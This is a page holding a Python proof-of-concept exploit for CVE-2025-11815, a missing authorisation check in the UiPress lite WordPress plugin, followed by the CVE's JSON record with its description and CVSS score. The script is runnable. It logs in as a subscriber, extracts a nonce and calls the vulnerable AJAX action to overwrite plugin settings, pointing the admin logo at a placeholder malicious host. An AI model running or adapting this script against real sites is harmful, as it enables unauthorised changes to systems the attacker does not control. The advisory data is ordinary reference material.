CVE-2025-11815

import requests import json # CVE-2025-11815 PoC - UiPress lite Unauthorized Plugin Settings Modification # Target: WordPress site with UiPress lite plugin <= 3.5.08 target_url = "http://target-wordpress-site.com" # Authenticated user with subscriber role or higher username = "subscriber_user" password = "user_password" def get_nonce(wordpress_url): """Get WordPress nonce for AJAX requests""" login_url = f"{wordpress_url}/wp-login.php" session = requests.Session() # Login to WordPress login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{wordpress_url}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data) # Get nonce from admin page or AJAX API admin_url = f"{wordpress_url}/wp-admin/admin-ajax.php" nonce_response = session.get(f"{wordpress_url}/wp-admin/admin.php?page=uipress", headers={'X-Requested-With': 'XMLHttpRequest'}) # Extract nonce (typical WordPress nonce pattern) import re nonce_match = re.search(r'nonce["\']?\s*:\s*["\']([a-zA-Z0-9]+)["\']', nonce_response.text) nonce = nonce_match.group(1) if nonce_match else input("Enter nonce manually: ") return session, admin_url, nonce def exploit_uip_save_site_option(session, ajax_url, nonce): """Exploit the missing capability check in uip_save_site_option()""" # Payload to modify plugin settings payload = { 'action': 'uip_save_site_option', 'security': nonce, 'optionName': 'uip_custom_admin_logo', # Example setting 'optionValue': 'https://malicious-site.com/logo.png' } response = session.post(ajax_url, data=payload) return response.json() def main(): print("CVE-2025-11815 UiPress lite Exploitation") print("=" * 50) session, ajax_url, nonce = get_nonce(target_url) print(f"[*] Logged in as: {username}") print(f"[*] Attempting to modify plugin settings...") result = exploit_uip_save_site_option(session, ajax_url, nonce) print(f"[*] Response: {json.dumps(result, indent=2)}") if result.get('success'): print("[+] Successfully modified plugin settings!") else: print("[-] Exploitation failed or nonce invalid") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-11815", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:51.750", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The UiPress lite | Effortless custom dashboards, admin themes and pages plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the uip_save_site_option() function in all versions up to, and including, 3.5.08. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change arbitrary plugin settings. Other AJAX actions are also affected."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/uipress-lite/trunk/admin/core/ajax-functions.php#L396", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3398753/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8f8d7397-0201-4194-8604-057f905ef10b?source=cve", "source": "[email protected]"}]}}